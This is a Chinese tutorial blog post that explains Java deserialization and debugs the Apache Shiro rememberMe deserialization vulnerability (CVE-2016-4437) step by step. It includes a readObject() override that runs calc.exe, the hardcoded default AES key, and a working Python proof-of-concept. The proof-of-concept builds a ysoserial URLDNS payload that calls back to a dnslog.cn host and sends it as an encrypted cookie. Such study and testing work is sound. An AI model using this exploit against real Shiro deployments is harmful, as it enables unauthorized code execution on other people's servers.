java反序列化漏洞POP查找_分析调试apache shiro反序列化漏洞(CVE-2016-4437)

文章最后更新时间为:2020年03月16日 16:38:09

1. 什么是java反序列化

序列化和反序列化是一种常见的编程思想,php、python也都存在此种机制。序列化就是将对象转化成字节流,便于保存在内存、文件或者数据库中(保存此对象的状态)。反序列化就是将字节流转化为对象。

java反序列化也类似,某个类只要实现了java.io.Serialization(或者java.io.Externalizable)接口,便可以被序列化。比如下面的类:import java.io.Serializable;

public class People implements Serializable {

public String name;

public int age;

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

public int getAge() {

return age;

}

public void setAge(int age) {

this.age = age;

}

}

上述代码定义了People类,并且实现了Serializable接口,我们便可以对其进行序列化和反序列化操作。import java.io.*;

public class Test {

public static void main(String[] args) throws Exception {

// 初始化对象

People people = new People();

people.setName("xiaoming");

people.setAge(18);

// 序列化步骤

// 1. 创建一个ObjectOutputStream输出流

// 2. 调用ObjectOutputStream对象的writeObject输出可序列化对象

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("d:/People.txt")));

oos.writeObject(people);

System.out.println("people对象序列化成功!");

// 反序列化步骤

// 1. 创建一个ObjectInputStream输入流

// 2. 调用ObjectInputStream对象的readObject()得到序列化的对象

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("d:/People.txt")));

People people1 = (People) ois.readObject();

System.out.println("people对象反序列化成功!");

System.out.println(people1.getName());

System.out.println(people1.getAge());

}

}

代码运行结果:people对象序列化成功!

people对象反序列化成功!

xiaoming

18

序列化过程将字节流保存在d:/People.txt中,我们可以在d:/People.txt看到序列化后的二进制对象。

507d86f7651387fda3b22ef7985eb5c1.png

其中开头的aced 0005是java序列化文件的文件头,算是java序列化字节流的一个特征吧。

关于java序列化和反序列化的一些特性,可以阅读这篇文章【1】。

回想一下php的反序列化漏洞,反序列化对象时会调用类的魔法函数__construct()(创建对象时触发),我们可以构造pop链来控制(改造)__construct()函数,从而反序列化时执行我们需要的操作。

java也是类似。

在上面的代码中,我们通过调用readObject()方法来从一个源输入流中读取字节序列,再把它们反序列化为一个对象,那么我们如果控制了此类的readObject()方法会怎么样?

为了验证想法,我们修改一下People类,重写其readObject()方法:public class People implements Serializable {

//添加以下方法,重写People类的readObject()方法

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{

//执行默认的readObject()方法

in.defaultReadObject();

//执行打开计算器程序命令

Runtime.getRuntime().exec("calc.exe");

}

}

运行程序,当执行People people1 = (People) ois.readObject();语句时会调用People类的readObject方法,弹出计算器:

fb964070f44214ae79f9386b00bb122a.png

由此可知控制了类的readObject方法便可以在反序列化该类时执行任意操作。事实上大多数java反序列化漏洞都可追溯到readObject方法,通过构造pop链最终改造readObject()方法。

2. 实例分析apache shiro 反序列化漏洞(CVE-2016-4437)

2.1 漏洞说明

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。

Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:检索cookie中RememberMe的值

Base64解码

使用AES解密

反序列化

漏洞原因在于第三步,AES加解密的密钥是写死在代码中的,于是我们可以构造RememberMe的值,然后让其反序列化执行。

2.2 漏洞分析

因为我也是才开始学java web代码调试,以下的内容尽量写的详细一点,调试中遇到了挺多坑,也挺有收获的。

首先我们得将代码下载下来git clone https://github.com/apache/shiro.git

cd shiro

git checkout shiro-root-1.2.4

b22b605688f34cf121aa9c5ff78096d8.png

然后编辑shirosamplesweb的pom.xml中的pom.xml文件:

javax.servlet

jstl

1.2

runtime

然后用idea导入此mvn项目:

11c6f3df027924544f3c753949c81a66.png

等待idea自动下载导入项目依赖的包

67cab2c62678f5c9ad2fb5e320c9b2e3.png

接着设置run/debug configurations, 添加本地tomcat环境(需要提前下载tomcat包)

f998eccb27037d97b1ed7d32bf6f1433.png

添加我们的项目进tomcat中:

a34598aed3d0fed557e90bf03c327ae6.png

点击确定,然后开始debug之路。

首先我们看下RememberMe值的加密过程。我们在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下个断点,然后点击debug开启tomcat服务:

fd7d83842de7105e6ea7ef3eeb019d50.png

09620608a9624a7b80f32f3839b63423.png

我们之后在web端登录账户root/secret,勾选上Remember Me的按钮,程序会停在断点处:

54b25e53e6ed1356ccc240daf7b0c19a.png

首先调用forgetIdentity构造方法处理request和response请求,包括在response中加入cookie信息,然后调用rememberIdentity函数,来处理cookie中的rememberme字段。我们f7跟进rememberIdentity函数:

a7837ecc9d88983b125772ba7c55f111.png

rememberIdentity函数首先调用getIdentityToRemember函数来获取用户身份,这里也就是"root",接着我们跟进rememberIdentity构造方法:

b437b2cd8de4917f011abc375a9cda46.png

调用convertPrincipalsToBytes方法将accountPrincipals也就是"root"转换为字节形式,我们跟进这个函数。

d55649720b17a40de73830eabde94ed3.png

转换过程是先序列化用户身份"id",在对其进行encrypt,跟进encrypt函数:

74c34fbf6d0f02285a0c6649687d2090.png

encrypt函数就是调用AES加密对序列化后的"root"进行加密,加密的密钥由getEncryptionCipherKey()得到,跟进getEncryptionCipherKey()函数会发现其值为常量:

493e946114a2bf7e8b958028973b5a17.png

我们继续f8,直到回到rememberIdentity函数:

6a9bc17b870fa61c46a95df5bd1c5565.png

跟进rememberSerializedIdentity函数

a2d8d30dc3bd4dee8e6c387d00518c0f.png

发现其对其进行base64编码后,设置到cookie中。到这里我们可以梳理下整个过程,当我们勾选上rememberme选项框后,以root身份登录,后端会进行如下操作:序列化用户身份"root"

对root进行AES加密,密钥为常量

base64编码

设置到cookie中的rememberme字段:

ecb60fbfff4d8c19ffcee9af81b6de98.png

接下来我们看下rememberme字段的解密过程:

将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity,然后发送一个带有rememberMe Cookie的请求。

629aa9afb5ab98f7c9b46ae355f5fcb1.png

跟进getRememberedPrincipals函数

80e31ee89a20f982fad8c4feed742973.png

跟进getRememberedSerializedIdentity函数,发现函数提取出cookie并且base64解码

efd1faa69bde7545acda42288ea2627c.png

回到getRememberedPrincipals函数,继续跟进到convertBytesToPrincipals函数,发现其对cookie进行AES解密和反序列化。

9ded0696aa726cc14a6725da0d3f698a.png

decrypt函数就不贴图了,跟进去很明显就可以看出来其功能。

综上,整个流程为读取cookie中rememberMe值

base64解码

AES解密

反序列化

其中AES加解密的密钥为常量,于是我们可以手动构造rememberMe值,改造其readObject()方法,让其在反序列化时执行任意操作。

2.3 漏洞利用

漏洞利用我们需要用到ysoserial项目,该项目就是集成了一些Gadget,方便我们自动生成。

为了通用性,我们使用ysoserial的URLDNS模块来执行一次DNS操作,poc代码如下#!/usr/bin/env python3

# coding:utf-8

from Crypto.Cipher import AES

import traceback

import requests

import subprocess

import uuid

import base64

target = "http://localhost:8000/samples_web_war/"

jar_file = 'D:\\java\\ysoserial\\target\\ysoserial-0.0.6-SNAPSHOT-all.jar'

cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

# 创建 rememberme的值

popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://e54daa.dnslog.cn"],

stdout=subprocess.PIPE)

BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

mode = AES.MODE_CBC

iv = uuid.uuid4().bytes

encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)

file_body = pad(popen.stdout.read())

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

# 发送request

try:

r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)

except:

traceback.print_exc()

成功检测到dns请求,说明命令执行成功。

4b855519f1a22393723494ecb55259c2.png

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值